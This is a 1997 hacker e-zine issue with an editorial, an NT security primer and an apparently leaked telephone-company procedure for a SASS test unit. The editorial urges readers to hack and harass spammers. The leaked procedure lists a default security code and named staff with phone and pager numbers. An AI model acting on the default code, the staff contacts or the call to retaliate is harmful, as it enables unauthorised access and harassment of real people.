home *** CD-ROM | disk | FTP | other *** search
/ Cuteskunk BBS / cuteskunk.zip / cuteskunk / unsorted-zines / thtj15.txt < prev    next >
Text File  |  2003-06-29  |  220KB  |  5,891 lines
  1.     ╒══════════════════════════════════════════════════════════════════╕
  2.     │the havoc technical journal     - http://www.thtj.com -           │▒
  3.     └──────────────────────────────────────────────────────────────────┘▒
  4.     ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  5.   
  6.  vol. 2 no. 3 issue 15 │ October 1, 1997 │ a thtj communications publication
  7. ═────────────────────────────────────────────────────────────────────────────═
  8.     
  9.                 ╒══════════════════════════════════════╕
  10.                -│ the havoc technical journal issue 15 │-
  11.                 └──────────────────────────────────────┘
  12.               Editorial..............................Scud-O
  13.               Windows NT Security Education Guide....NeonSurge
  14.               Single Access Serving System (SASS)....anonymous  
  15.               BSDI FTP CORE DUMPS....................Bronc Buster
  16.               Security/Monitoring Tools..............Shok
  17.               Cryptanalytic Attacks..................The Messiah 
  18.               Shadow files explained.................Shypht
  19.               SMTP server scanner....................memor
  20.               About The Internet Protocol............Malhavoc
  21.               ShokDial - a linux war dialer..........Shok
  22.               Under The Hood of Blowfish.............The Messiah
  23.               Learning to Count All Over Again.......Bronc Buster
  24.               scan.c.................................memor
  25.               Vuls in Solaris 2.5.1..................Shok
  26.               Operating Systems......................Fucking Hostile
  27.               Hacking your way to DOS................Devix
  28.               A phreak's dream come true.............Kode9
  29.               Rat Shak Shopping Made Easy............N-TREEG
  30.               Telephone Conferencing.................DataThief
  31.               How To Make A Cattleprod...............The Messiah
  32.               Securing Linux.........................KiDMaGiC
  33.               Social Insurance Numbers...............Devix
  34.               Stupid Unix Pranks.....................The Darkling
  35.               Oddville, THTJ.........................Scud-O
  36.               The News...............................KungFuFox
  37.                 
  38.             ────────────────────────────────────────────────
  39.                 ╒══════════════════════════════════════╕
  40.                 │           the NEW thtj.com           │
  41.                 │               ────────               │
  42.                 │ coming soon from thtj communications │
  43.                 └──────────────────────────────────────┘
  44.  
  45. Shouts go out to all my people on the block:
  46. The writers. You're the ones that make thtj run, and it is you that help to 
  47. keep the community informed. We owe you.
  48.  
  49. Other Shouts out go to:
  50.        All of #phreak, #hackers, #hackphreak,
  51.        #carparts, #linuxos, #phrack, (you all know who you are)
  52.        
  53. ═────────────────────────────────────────────────────────────────────────────═
  54.  
  55.                 ╒══════════════════════════════════════╕
  56.                 │the havoc technical journal - contacts│ 
  57.                 └──────────────────────────────────────┘
  58.  
  59. - Editor in Chief : Scud-O, scud@thtj.com
  60. - Assistant Editor : KungFuFox, mazer@cycat.com
  61. - Submissions Editor: Keystroke, keystroke@thepentagon.com
  62. - thtj email address: thtj@thtj.com
  63. - thtj website: http://www.thtj.com/
  64. - thtj mailing address: PO BOX 448 Sykesville, MD 21784
  65.  
  66.   The Havoc Technical Journal Vol. 2, No.3, October 1, 1997.  
  67.   A THTJ Communications publication.  Contents Copyright (⌐) 
  68.   1997 THTJ Communications.  All Rights Reserved.  No part of 
  69.   this publication may be reproduced in whole or in part 
  70.   without the expressed written consent of the Editor in Chief 
  71.   of The Havoc Technical Journal. [No copying THTJ, damnit.]
  72.   
  73.   The Havoc Technical Journal does in no way endorse the 
  74.   illicit use of computers, computer networks, and 
  75.   telecommunications networks, nor is it to be held liable 
  76.   for any adverse results of pursuing such activities.
  77.  
  78.   The articles provided in this magazine are without any 
  79.   expressed or implied warranties. While every effort has been 
  80.   taken to ensure the accuracy of the information contained in 
  81.   this article, the authors, editors, and contributors of this 
  82.   zine assume no responsibility for errors or omissions, or for 
  83.   damages resulting from the use of the information contained 
  84.   herein.
  85.  
  86.   For infomation about using articles published in THTJ, send mail to:
  87.   e-mail: thtj@thtj.com │  mail: THTJ PO Box 448 Sykesville, MD 21784
  88.  
  89.   NOTICE: If you are an official of a government or an employee 
  90.   of a government, you must register with THTJ before reading 
  91.   any issue of this publication. A registration form will be 
  92.   mailed to you free of charge by using either of the mailing 
  93.   addresses above. Upon reception of this form you will be granted
  94.   privelege to read all issues of The Havoc Technical Journal.
  95.   Until you have registered, you are not authorized to read this
  96.   or any issues of THTJ.
  97.   
  98. ═────────────────────────────────────────────────────────────────────────────═
  99. Editorial 
  100. by Scud-O
  101.  
  102.        The NEW thtj.
  103.  
  104. Well, with all great plans, the 'new thtj' that was scheduled for thtj14 is a 
  105. month late, and here it is. I hope you enjoy it. I personally think that this 
  106. is the best issue yet. This month as some of you know, I was fairly
  107. intoxicated, and seriously looked into giving up thtj. However, thanks to all
  108. of you out there, the staff of thtj communications, HBS, #phreak, the
  109. writers, and the editors, it all came together, and so, here is thtj15, 
  110. bigger, badder, and kicking more ass.
  111.        This issue also marks a change that you may or may not have noticed.
  112. thtj is now produced by thtj communications, inc. Havoc Bell Systems no
  113. longer publishes thtj, since it seems that so many of you thought that you
  114. had to be in HBS to write for thtj. This is entirely false. Anyone and
  115. everyone is free to write for thtj. HBS is not dying, but we will hopefully 
  116. be able to focus more on group stuff, and less about thtj deadlines now that
  117. thtj isn't officially in our hands..
  118.        The redesigned thtj.com site is about to be coming at you, with a lot
  119. of new things that will hopefully make your life easier, and *gasp* more
  120. complete. thtj.com is finally going to have a majordomo or two up, have some
  121. e-mail forwarders for instant, easy access to current thtj issues, and
  122. article submission information. The www site is also going to improve. A
  123. bunch of you have said that the site is fairly lynx friendly, but it needs
  124. work. Less graphics and more content are on their way, as are some new cgis,
  125. wwwboards, and redesigned pages for distribution as well as submissions. 
  126. Last, but certainly not least, will be the new main page. I am adding site
  127. links and info up top, so that all of you can skip over my rantings in the
  128. message of the day section. I am also hoping to make a forum for everyone to
  129. discuss their issues or problems with the community, so if you would like to
  130. contribute to that, get a hold of me.
  131.  
  132.        Finally this month, before I am done, I would like to talk with you
  133. about some things that need to be done, and somethings I would like to see on
  134. thtj.com. I have found various sources on the net for helping to block and
  135. protect your site and your sendmail from spammers using your site as a
  136. transfer site for their e-mail, to protect their servers from the flames. I
  137. am going to be adding some code for this, and other security info for you,
  138. since if you have a system up, you are just as curious about setting up
  139. system security as you are breaking it up.
  140.        The reason I bring this all up is that spam is a serious problem.
  141. Retards like the 'spam king' (who recently had his servers disconnected)
  142. think that we all like having e-mail telling us about stupid products. The
  143. fact that we all know is that no one wants this shit. If you own your own
  144. domain you know about all this. You get hundreds of spam letters offering
  145. 'web registering services' and all the trash. We need to stop this, and we
  146. would, or could, but losers like the aformentioned 'spam king' using many
  147. servers to redirect their mail, and not let you know who the mail is from, so
  148. you cannot ask him to stop. Securing your site with the code I talked about 
  149. is a step, but go beyond that. Spammers have ruined parts of the net, but not 
  150. all of it. Take action, strike back, hack them, harrass them, spam them, make 
  151. them learn to go fuck themselves. Well, thank you for the time it took you to 
  152. read may rants.
  153.  
  154.             Scud-O , Founder, and Editor in Chief of THTJ
  155.              ═────────────────────────────────────────═                
  156.        Scud-O and HBS would like to hear your views on this commentary.
  157.        Please feel free to e-mail us at: scud@thtj.com
  158.  
  159.     ----------------------------------------------
  160.   /       ---/   --/  /   /  |  /------/   /    /
  161.  /---       /-----/------/-----/      /   /    /
  162. /----------/                         /--------/
  163.            -of HAVOC Bell Systems-
  164.  
  165.         scud@thtj.com │ http://www.thtj.com  
  166.  
  167. ═────────────────────────────────────────────────────────────────────────────═
  168. The Windows NT Security Education Guide (SEG) Part One 
  169. by NeonSurge of Shatter 
  170. (neonsurge@hotmail.com)
  171.  
  172. NT Security components and subsystem
  173.  
  174. The Logon Process
  175.  
  176.   WinLogon
  177.  
  178. Users must log on to a Windows NT machine in order to use that NT based
  179. machine or network. The logon process itself cannot be bypassed, it is
  180. mandatory. Once the user has logged on, an access token is created (this
  181. token will be discussed in more detail later). This token contains user
  182. specific security information, such as: security identifier, group
  183. identifiers, user rights and permissions. The user, as well as all processes
  184. spawned by the user are identified to the system with this token.
  185.  
  186.  
  187. The first step in the WinLogon process is something we are all familiar with,
  188. CTRL+ALT+DEL. This is NT's default Security Attention Sequence (SAS - The SAS
  189. key combo can be changed. We will also discuss that later.). This SAS is a
  190. signal to the operating system that someone is trying to logon.  After the
  191. SAS is triggered, all user mode applications pause until the security
  192. operation completes or is cancelled. (Note: The SAS is not just a logon
  193. operation, this same key combination can be used for logging on, logging off,
  194. changing a password or locking the workstation.) The pausing, or closing, of
  195. all user mode applications during SAS is a security feature that most people
  196. take for granted and dont understand. Due to this pausing of applications,
  197. logon related trojan viruses are stopped, keyloggers (programs that run in
  198. memory, keeping track of keystrokes, therefor recording someones password)
  199. are stopped as well.
  200.  
  201. The user name is not case sensitive but the password is.
  202.  
  203. After typing in your information and clicking OK (or pressing enter), the
  204. WinLogon process supplies the information to the security subsystem, which
  205. in turn compares the information to the Security Accounts Manager (SAM). If
  206. the information is compliant with the information in the SAM, an access token
  207. is created for the user. The WinLogon takes the access token and passes it
  208. onto the Win32 subsytem, which in turn starts the operating systems shell.
  209. The shell, as well as all other spawned processes will receive a token. This
  210. token is not only used for security, but also allows NTs auditing and logging
  211. features to track user usage and access of network resources.
  212.  
  213.  
  214. Note: All of the logon components are located in a file known as the
  215. Graphical Indetification and Authentication (GINA) module, specifically
  216. MSGINA.DLL. Under certain conditions, this file can be replaced, which is
  217. how you would change the SAS key combination.
  218.  
  219. For fine tuning of the WinLogon process, you can refer to the registry. All
  220. of the options for the WinLogon process are contained in the
  221. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon area.
  222. You can also fine tune the process by using the Policy Editor.
  223.  
  224.  
  225. Logging on to a Domain
  226.  
  227. If an NT machine is a participant on a Domain, you would not only need to
  228. login to the local machine, but the Domain as well. If a computer is a member
  229. of a Domain, the WinLogon process is replaced by the NetLogon process.
  230.  
  231.  
  232. Components
  233.  
  234. Local Security Authority (LSA): Also known as the security subsystem, it is
  235.                           the central portion of NT security. It handles
  236.                           local security policies and user
  237.                           authentication. The LSA also handles
  238.                           generating and logging audit messages.
  239.  
  240.  
  241. Security Accounts Manager (SAM): The SAM handles user and group accounts, and
  242.                             provides user authentication for the LSA.
  243.  
  244. Security Reference Monitor (SRM): The SRM is in charge of enforcing and
  245.                             assuring access validation and auditing for
  246.                             the LSA. It references user account
  247.                             information as the user attempts to access
  248.                             resources.
  249.  
  250. TCP/IP Security in NT
  251.  
  252. Note: This section is not meant to teach you the concepts behind the TCP/IP
  253. protocol. It is assumed that a working knowledge of TCP/IP can be applied.
  254.  
  255.  
  256.     Windows NT has a built in TCP/IP security functionality that most
  257.        people do not use or know about. This functionality enables you to
  258.        control the types of network traffic that can reach your NT servers.
  259.        Access can be allowed or denied based on specific TCP ports, UDP
  260.        ports, and IP protocols. This type of security is normally applied to
  261.        servers connected directly to the internet, which is not recommended.
  262.  
  263.     Do configure NT's built in TCP/IP security, follow these steps:
  264.  
  265.     1 - Right click on Network Neighborhood and goto the properties
  266.           option.
  267.  
  268.     2 - Select the Protocols tab, highlight TCP/IP and click on
  269.           Properties.
  270.  
  271.        3 - Select the IP address tab of the TCP/IP properties screen.
  272.  
  273.     4 - Check the check box that reads "Enable Security".
  274.  
  275.     5 - Click on Configure
  276.     
  277.     You should now be looking at the TCP/IP Security dialog, which has
  278.        the following options:
  279.  
  280.     -Adapter: Specifies which of the installed network adapter cards you
  281.                are configuring
  282.     -TCP Ports
  283.     -UDP Ports
  284.     -IP Protocols
  285.  
  286.     Within these settings, you would choose which ports and what access
  287.        permissions you would like to assign to those ports. The following
  288.        list is a list of the well known TCP/IP ports. This is not an in
  289.        depth guide, just a quick reference (For more details, check RFC 1060).
  290.  
  291.    
  292.   Service                Port           Comments   
  293.  
  294.    TCP Ports
  295.    echo             7/tcp
  296.    discard          9/tcp          sink null
  297.    systat           11/tcp         users
  298.    daytime          13/tcp
  299.    netstat          15/tcp
  300.    qotd             17/tcp         quote
  301.    chargen          19/tcp         ttytst source
  302.    ftp-data         20/tcp
  303.    ftp              21/tcp
  304.    telnet           23/tcp
  305.    smtp             25/tcp         mail
  306.    time             37/tcp         timserver
  307.    name             42/tcp         nameserver
  308.    whois            43/tcp         nicname
  309.    nameserver       53/tcp         domain
  310.    apts             57/tcp         any private terminal service
  311.    apfs             59/tcp         any private file service
  312.    rje              77/tcp         netrjs
  313.    finger           79/tcp
  314.    http                 80/tcp
  315.    link             87/tcp         ttylink
  316.    supdup           95/tcp
  317.    newacct          100/tcp        [unauthorized use]
  318.    hostnames        101/tcp        hostname
  319.    iso-tsap         102/tcp        tsap
  320.    x400             103/tcp
  321.    x400-snd         104/tcp
  322.    csnet-ns         105/tcp        CSNET Name Service
  323.    pop-2            109/tcp        pop postoffice
  324.    sunrpc           111/tcp
  325.    auth             113/tcp        authentication
  326.    sftp             115/tcp
  327.    uucp-path        117/tcp
  328.    nntp             119/tcp        usenet readnews untp
  329.    ntp              123/tcp        network time protocol
  330.    statsrv          133/tcp
  331.    profile          136/tcp
  332.    NeWS             144/tcp        news
  333.    print-srv        170/tcp
  334.    exec             512/tcp        remote process execution;
  335.                             authentication performed using
  336.                             passwords and UNIX loppgin names
  337.    login            513/tcp        remote login a la telnet;
  338.                             automatic authentication performed
  339.                             based on priviledged port numbers
  340.                             and distributed data bases which
  341.                             identify "authentication domains"
  342.    cmd              514/tcp        like exec, but automatic
  343.                             authentication is performed as for
  344.                             login server
  345.    printer          515/tcp        spooler
  346.    efs              520/tcp        extended file name server
  347.    tempo            526/tcp        newdate
  348.    courier          530/tcp        rpc
  349.    conference       531/tcp        chat
  350.    netnews          532/tcp        readnews
  351.    uucp             540/tcp        uucpd
  352.    klogin           543/tcp
  353.    kshell           544/tcp        krcmd
  354.    dsf              555/tcp
  355.    remotefs         556/tcp        rfs server
  356.    chshell          562/tcp        chcmd
  357.    meter            570/tcp        demon
  358.    pcserver         600/tcp        Sun IPC server
  359.    nqs              607/tcp        nqs
  360.    mdqs             666/tcp
  361.    rfile            750/tcp
  362.    pump             751/tcp
  363.    qrh              752/tcp
  364.    rrh              753/tcp
  365.    tell             754/tcp        send
  366.    nlogin           758/tcp
  367.    con              759/tcp
  368.    ns               760/tcp
  369.    rxe              761/tcp
  370.    quotad           762/tcp
  371.    cycleserv        763/tcp
  372.    omserv           764/tcp
  373.    webster          765/tcp
  374.    phonebook        767/tcp        phone
  375.    vid              769/tcp
  376.    rtip             771/tcp
  377.    cycleserv2       772/tcp
  378.    submit           773/tcp
  379.    rpasswd          774/tcp
  380.    entomb           775/tcp
  381.    wpages           776/tcp
  382.    wpgs             780/tcp
  383.    mdbs                 800/tcp
  384.    device           801/tcp
  385.    maitrd           997/tcp
  386.    busboy           998/tcp
  387.    garcon           999/tcp
  388.    blackjack        1025/tcp       network blackjack
  389.    bbn-mmc          1347/tcp       multi media conferencing
  390.    bbn-mmx          1348/tcp       multi media conferencing
  391.    orasrv           1525/tcp       oracle
  392.    ingreslock       1524/tcp
  393.    issd             1600/tcp
  394.    nkd              1650/tcp
  395.    dc               2001/tcp
  396.    mailbox          2004/tcp
  397.    berknet          2005/tcp
  398.    invokator        2006/tcp
  399.    dectalk          2007/tcp
  400.    conf             2008/tcp
  401.    news             2009/tcp
  402.    search           2010/tcp
  403.    raid-cc          2011/tcp       raid
  404.    ttyinfo          2012/tcp
  405.    raid-am          2013/tcp
  406.    troff            2014/tcp
  407.    cypress          2015/tcp
  408.    cypress-stat     2017/tcp
  409.    terminaldb       2018/tcp
  410.    whosockami           2019/tcp
  411.    servexec         2021/tcp
  412.    down             2022/tcp
  413.    ellpack          2025/tcp
  414.    shadowserver         2027/tcp
  415.    submitserver     2028/tcp
  416.    device2          2030/tcp
  417.    blackboard       2032/tcp
  418.    glogger          2033/tcp
  419.    scoremgr         2034/tcp
  420.    imsldoc          2035/tcp
  421.    objectmanager        2038/tcp
  422.    lam              2040/tcp
  423.    interbase        2041/tcp
  424.    isis             2042/tcp
  425.    rimsl            2044/tcp
  426.    dls              2047/tcp
  427.    dls-monitor      2048/tcp
  428.    shilp            2049/tcp
  429.    NSWS             3049/tcp
  430.    rfa              4672/tcp       remote file access server
  431.    complexmain      5000/tcp
  432.    complexlink      5001/tcp
  433.    padl2sim         5236/tcp
  434.    man              9535/tcp
  435.    
  436.    
  437.    UDP Ports
  438.    echo             7/udp
  439.    discard          9/udp          sink null
  440.    systat           11/udp         users
  441.    daytime          13/udp
  442.    netstat          15/udp
  443.    qotd             17/udp         quote
  444.    chargen          19/udp         ttytst source
  445.    time             37/udp         timserver
  446.    rlp              39/udp         resource
  447.    name             42/udp         nameserver
  448.    whois            43/udp         nicname
  449.    nameserver       53/udp         domain
  450.    bootps           67/udp         bootp
  451.    bootpc           68/udp
  452.    tftp             69/udp
  453.    sunrpc           111/udp
  454.    erpc             121/udp
  455.    ntp              123/udp
  456.    statsrv          133/udp
  457.    profile          136/udp
  458.    snmp             161/udp
  459.    snmp-trap        162/udp
  460.    at-rtmp          201/udp
  461.    at-nbp           202/udp
  462.    at-3             203/udp
  463.    at-echo          204/udp
  464.    at-5             205/udp
  465.    at-zis           206/udp
  466.    at-7             207/udp
  467.    at-8             208/udp
  468.    biff             512/udp        used by mail system to notify users
  469.                             of new mail received; currently
  470.                             receives messages only from
  471.                             processes on the same machine
  472.    who              513/udp        maintains data bases showing who's
  473.                             logged in to machines on a local
  474.                             net and the load average of the
  475.                             machine
  476.    syslog           514/udp
  477.    talk             517/udp        like tenex link, but across
  478.                             machine - unfortunately, doesn't
  479.                             use link protocol (this is actually
  480.                             just a rendezvous port from which a
  481.                             tcp connection is established)
  482.    ntalk            518/udp
  483.    utime            519/udp        unixtime
  484.    router           520/udp        local routing process (on site);
  485.                             uses variant of Xerox NS routing
  486.                             information protocol
  487.    timed            525/udp        timeserver
  488.    netwall          533/udp        for emergency broadcasts
  489.    new-rwho         550/udp        new-who
  490.    rmonitor         560/udp        rmonitord
  491.    monitor          561/udp
  492.    meter            571/udp        udemon
  493.    elcsd            704/udp        errlog copy/server daemon
  494.    loadav           750/udp
  495.    vid              769/udp
  496.    cadlock          770/udp
  497.    notify           773/udp
  498.    acmaint_dbd          774/udp
  499.    acmaint_trnsd        775/udp
  500.    wpages           776/udp
  501.    puparp           998/udp
  502.    applix           999/udp        Applix ac
  503.    puprouter        999/udp
  504.    cadlock          1000/udp
  505.    hermes           1248/udp
  506.    wizard           2001/udp       curry
  507.    globe            2002/udp
  508.    emce             2004/udp       CCWS mm conf
  509.    oracle           2005/udp
  510.    raid-cc          2006/udp       raid
  511.    raid-am          2007/udp
  512.    terminaldb       2008/udp
  513.    whosockami           2009/udp
  514.    pipe_server      2010/udp
  515.    servserv         2011/udp
  516.    raid-ac          2012/udp
  517.    raid-cd          2013/udp
  518.    raid-sf          2014/udp
  519.    raid-cs          2015/udp
  520.    bootserver       2016/udp
  521.    bootclient       2017/udp
  522.    rellpack         2018/udp
  523.    about            2019/udp
  524.    xinupagesrver    2020/udp
  525.    xinuexpnsion1        2021/udp
  526.    xinuexpnsion2        2022/udp
  527.    xinuexpnsion3        2023/udp
  528.    xinuexpnsion4        2024/udp
  529.    xribs            2025/udp
  530.    scrabble         2026/udp
  531.    isis             2042/udp
  532.    isis-bcast       2043/udp
  533.    rimsl            2044/udp
  534.    cdfunc           2045/udp
  535.    sdfunc           2046/udp
  536.    dls              2047/udp
  537.    shilp            2049/udp
  538.    rmontor_scure    5145/udp
  539.    xdsxdm           6558/udp
  540.    isode-dua        17007/udp
  541.  
  542.  
  543.  
  544.  
  545. The Nbtstat Command
  546.  
  547. This tool should be known, because it can give you tons of info about an NT
  548. server. It can be used to query the network concerning netbios information.
  549. It can also be useful for purging the netbios cache and reloading the LMHOSTS
  550. file. This one command can be extremely useful when performing security
  551. audits. When one knows how to interpret the information, it can reveal more
  552. than one might think.
  553.  
  554. Usage:   nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S] [-s]
  555.               [interval]
  556.  
  557. Switches  -a      Lists the remote computer's name table given its host
  558.                     name.
  559.  
  560.              -A      Lists the remote computer's name table given its IP
  561.                     address.
  562.  
  563.         -c      Lists the remote name cache including the IP addresses.
  564.                     Lists the remote name cache including the IP
  565.                     addresses Lists local NetBIOS names. Lists names
  566.                     resolved by broadcast and via WINS Purges and reloads
  567.                     the remote cache name table Lists sessions table with
  568.                     the destination IP addresses.
  569.                     Lists sessions table converting destination IP
  570.                     addresses to host names via the hosts file. 
  571.  
  572.         -n      Lists local NetBIOS names.
  573.  
  574.         -r       Lists names resolved by broadcast and via WINS.
  575.  
  576.         -R     Purges and reloads the remote cache name table.
  577.  
  578.         -S      Lists sessions table with the destination IP addresses.
  579.  
  580.         -s      Lists sessions table converting destination IP
  581.                     addresses to host names via the hosts file.
  582.  
  583.         interval          This will redisplay the selected statistics,
  584.                             pausing for the number of seconds you choose
  585.                             as "interval" between each listing.
  586.                             Press CTRL+C to stop.
  587.  
  588. Notes on NBTSTAT
  589.  
  590. The column headings generated by NBTSTAT have the following meanings:
  591.  
  592. Input 
  593.     Number of bytes received.
  594.  
  595. Output 
  596.     Number of bytes sent.
  597.  
  598. In/Out 
  599.     Whether the connection is from the computer (outbound) or from another
  600.     system to the local computer (inbound).
  601.  
  602. Life 
  603.     The remaining time that a name table cache entry will "live" before your
  604.     computer purges it.
  605.  
  606. Local Name 
  607.     The local NetBIOS name given to the connection.
  608.  
  609. Remote Host 
  610.     The name or IP address of the remote host.
  611.  
  612. Type 
  613.     A name can have one of two types: unique or group. 
  614.     The last byte of the 16 character NetBIOS name often means something
  615.     because the same name can be present multiple times on the same computer.
  616.     This shows the last byte of the name converted into hex.
  617.  
  618. State 
  619.     Your NetBIOS connections will be shown in one of the following "states":
  620.  
  621.     State                   Meaning
  622.     
  623.     Accepting           An incoming connection is in process.
  624.  
  625.     Associated        The endpoint for a connection has been created and
  626.                    your computer has ssociated it with an IP address.
  627.  
  628.     Connected        This is a good state! It means you're connected to the
  629.                   remote resource.
  630.  
  631.     Connecting       Your session is trying to resolve the name-to-IP
  632.                   address mapping of the destination resource.
  633.  
  634.     Disconnected   Your computer requested a disconnect, and it is waiting
  635.                 for the remote computer to do so.
  636.  
  637.     Disconnecting  Your connection is ending.
  638.  
  639.     Idle                 The remote computer has been opened in the current
  640.                     session, but is currently not accepting connections.
  641.  
  642.     Inbound              An inbound session is trying to connect.
  643.  
  644.     Listening            The remote computer is available.
  645.  
  646.     Outbound             Your session is creating the TCP connection.
  647.  
  648.     Reconnecting   If your connection failed on the first attempt, it will
  649.                 display this state as it tries to reconnect.
  650.  
  651. 16th Byte character Values for NetBios names
  652.  
  653. <00>    Workstation service name
  654. <03>    Messenger service name
  655. <1B>    Domain Master Browser name
  656. <06>    RAS Server service
  657. <1F>    NetDDE service
  658. <20>    Server service name
  659. <21>    RAS Client
  660. <BE>   Network monitor agent
  661. <BF>   Network monitor utility
  662. <1C>   Domain group name
  663. <1D>   Master browser name
  664. <1E>   Normal group name
  665. _MSBROWSE_   Domain master browser
  666.  
  667. The messenger service name <03> will give you the name of any users currently
  668. logged onto that machine, including the administrator account name.
  669.  
  670.  
  671. Thats about it for part one. Look out for future releases. Question or
  672. Comments to NeonSurge@hotmail.com
  673.  
  674. ═────────────────────────────────────────────────────────────────────────────═
  675. Single Access Serving System (SASS)          
  676. (anonymous)
  677.  
  678.                             PROCESS 
  679.                           DOCUMENTATION  
  680.     
  681.  
  682. Santa Ana, April 8, 1997 
  683.  
  684. SUBJECT   
  685. Single Access Serving System (SASS).
  686.     
  687. REASON FOR ISSUANCE 
  688. This document will provide an EM Communication Technician with installation 
  689. procedures for the Single Access Serving System (SASS)
  690.     
  691. SWITCH TYPES AFFECTED    
  692. 5ESS, DMS100 and 1AESS
  693.     
  694. GENERIC/BCS REQUIRED     
  695. None
  696.     
  697. WORK FUNCTIONS AFFECTED  
  698. Local Field Operations (LFO) EM Communication Technicians
  699.     
  700. EFFECTIVE / CRITICAL DATES     
  701. Effective immediately.   
  702.  
  703. TRACKING CODE  
  704. Baseline
  705.     
  706. QUESTIONS 
  707. Questions regarding this document may be directed to Michele Baker at (714) 
  708. 430-6640
  709.     
  710. GENERAL INFORMATION 
  711. SASS is a transmission conditioning unit, a printed wiring card that employs 
  712. a microprocessor control of test functions and provides voice prompting.  The
  713. card is installed in an MFT bay and connected to the switch through an 
  714. outgoing trunk.  A dedicated POTS line is required for the ringback feature.
  715. This Single Serving Access System will allow both outside field technicians 
  716. as well as LFO technicians the ability to perform multiple test functions 
  717. using one access number.  
  718.  
  719. The Unit Test Features are:
  720.     
  721. - ANI
  722. - Single Tone Generation
  723. - Three Tone slope
  724. - Ten Tone Slope
  725. - Full Tone Sweep
  726. - Caller ID Transmission
  727. - Data Sweep
  728. - Quiet Termination
  729. - Keypad Test
  730.     
  731. CENTRAL OFFICE (CO) 
  732. REQUIREMENTS    
  733. 1. An MFT slot
  734. 2. An outgoing trunk OR A D4 port equipped with a DPT Channel Unit.
  735. 3. A new Trunk Group assignment will be established
  736. 4. The SASS Access Number wil need to be route indexed to the trunk or port 
  737.    assigned.
  738. 5. Assignment and cross connect to a POTS line for ringback capabilities. 
  739.  
  740. CENTRAL OFFICE (CO) 
  741. PROCESS (1) Wiring the Circuit
  742. 1. You will receive two service orders for your SASS circuit. One for the 
  743. design itself (se word) and one for the POTS line (1ML) associated with it.  
  744. The POTS order will consist of only an OE assignment used for ringback 
  745. capabilities. 
  746.  
  747. NOTE 1)  The design portion of your order will resemble a DID circuit.
  748. NOTE 2)  Every effort will be made to use a digital trunk assignment, 
  749.         however, if none are available, an analog trunk will be used in its 
  750.         place.  
  751. NOTE 3)  Make sure the channel unit used in the circuit is a D4CD200 
  752.         (terminating).
  753.  
  754. CENTRAL OFFICE (CO) 
  755. PROCESS (2) Installing and Optioning The Channel Unit 
  756. Install the SASS Unit into the designated MFT slot.  Once the plug-in has 
  757. been installed it should be optioned according to the manufacturers 
  758. instructions on the card.  
  759.     
  760. CENTRAL OFFICE (CO) 
  761. PROCESS (3) Initial Power-Up Verification 
  762. Once the SASS unit is installed and optioned the Initial Power-up 
  763. verification must be performed at the unit itself.  
  764.  
  765. CENTRAL OFFICE (CO)
  766. PROCESS (4) Procedure for Setting Transmission Levels 
  767. Once the SASS unit has passed the Initial Power-up verification the 
  768. Transmission Levels must be set for the unit.  The following is the procedure 
  769. for setting transmission levels on a newly installed SASS Unit.  This 
  770. function must be performed at the mainframe to any pair assigned to an OE in 
  771. the respective switch in which the SASS unit was installed.  The pair must be 
  772. open and the reading taken toward the line card.   
  773.     
  774. STEP ACTION    
  775. 1 At the mainframe, remove the coils from any working pair assigned to an OE
  776.   in the respective switch.     
  777. 2 Draw dial tone on the OE side of the open and dial the SASS access number. 
  778. 3 Enter the SASS Security Code after the number announcement.  The default
  779.   Security Code is 222-2222.
  780. 4 Press 3 to Read or Change Prefixes
  781. 5 Press 5 to Generate Test Tone.
  782. 6 Enter * to Generate System Tone
  783. 7 Measure Tone with a transmission measurement test set.  Should measure a
  784.   level of 0dbBRNC.   
  785. NOTE 1)  Adjustments may be made by; entering a 6 to increase level by 0.1 dB 
  786. each time the 6 is depressed, or entering 7 to decrease the level by 0.1 dB 
  787. each time the 7 is depressed.   
  788. 8 When you have completed setting the db levels, hangup to terminate the 
  789.   call. 
  790. 9 A test must be performed on least three (3) prefixes to determine whether 
  791.   the db levels were set correctly in all prefixes..  A deviation of + or 
  792.   -1/2 db is acceptable.  If tests reveal any variance greater than + or -1/2 
  793.   db, you must repeat the procedure for Setting Tranmission Levels for every 
  794.   prefix.
  795.     
  796. CENTRAL OFFICE (CO)
  797. PROCESS (5) Testing The Newly Installed SASS Unit 
  798. When the SASS installation is complete, call the Test System Health Group to 
  799. test the newly installed unit.  They will in turn close the order out with 
  800. OCS.  
  801.  
  802. CENTRAL OFFICE (CO)
  803. PROCESS (6) Troubleshooting A Newly Installed SASS Unit 
  804. When the SASS installation is complete, the Initial Power-up verification has 
  805. been performed, the transmission levels have been set and your circuit is 
  806. still not turned up, try the following troubleshooting procedures.  
  807.  
  808. CENTRAL OFFICE (CO)
  809. PROCESS (7) Who To Call When You Have Questons Concerning:
  810.     
  811. Closing out your order   Test System Health Group 
  812. SASS Project             SASS Project Team   
  813. Word order asignments    FACS Administrator  
  814. Spares                   PICS 
  815. Test coordination        Test System Health Group 
  816. Translations             NTG  
  817. This document            PP&STM    
  818. Trunk Assignments        NTG  
  819.  
  820. CONTACT NUMBERS          
  821.                 
  822. NTG  
  823. - South Trouble Desk  (619) 886-1988 
  824. - North Trouble Desk  (916) xxx-xxxx 
  825.                 
  826. PADS 
  827. - South  (619) 886-1988 
  828. - North  (916) xxx-xxxx 
  829.         
  830. PICS  
  831. - (not provided)
  832.  
  833. Process, Product & System Technical Management (PP&STM)     
  834. - Michele Baker  Voice/Voice mail  (714) 430-6640 
  835.               Pager Number      (714) 755-8424 
  836.                 
  837. Test System Health Group 
  838. - (Statewide)    Voice  (800) 694-4732 
  839.                 
  840. SASS Project Team   
  841. - Bruce Poole    Voice/Voice mail  (209) 454-3197 
  842.               Pager Number      (510) 904-7574 
  843.  
  844. REFERENCES     
  845. Harris 
  846. Dracon Division 
  847. Single Access Serving System (SASS)
  848. Transmission Condititoning Unit
  849. Model 24800-300
  850. Service Manual
  851. 011-724800-300     (Issue 3 2/94)  
  852.     
  853. Harris (Addendum)
  854. Dracon Division 
  855. SASS
  856. Transmission Condititoning Unit
  857. Model 24800-300
  858. Service Manual
  859. 011-724209-001     (Issue 5 6/96)  
  860.  
  861. Questions?
  862. At what point will I know that translations are typed in.  
